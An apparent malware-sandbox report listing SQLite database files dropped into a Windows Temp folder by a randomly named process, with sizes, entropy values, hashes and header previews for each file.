SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3kvYReqXDv

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3yQpJXHn6W

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44KG3OD0TF

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4sgF1COkBb

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\55bcq0TAZ2

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5bknuexqEU

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5h8ybhqon9

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\67ZbX6uTLk

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6o0eAObxUQ

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6v48c7IaOe

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7yGHC0pOnN

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\81iqvb0UhX

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8TOjM31f3D

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9SN6X9vtZJ

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9uS8JhxJao

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9x2Hk7cYpX

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A1gMBezgdS

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A2oB2T0PSu

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A9tjzrjfgn

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AJCp7BaA1p

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ab1KUgXEsC

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AiAF87fChc

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BA75ShBxXG

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BMQdcAHtri

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BTxigVZQF7

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
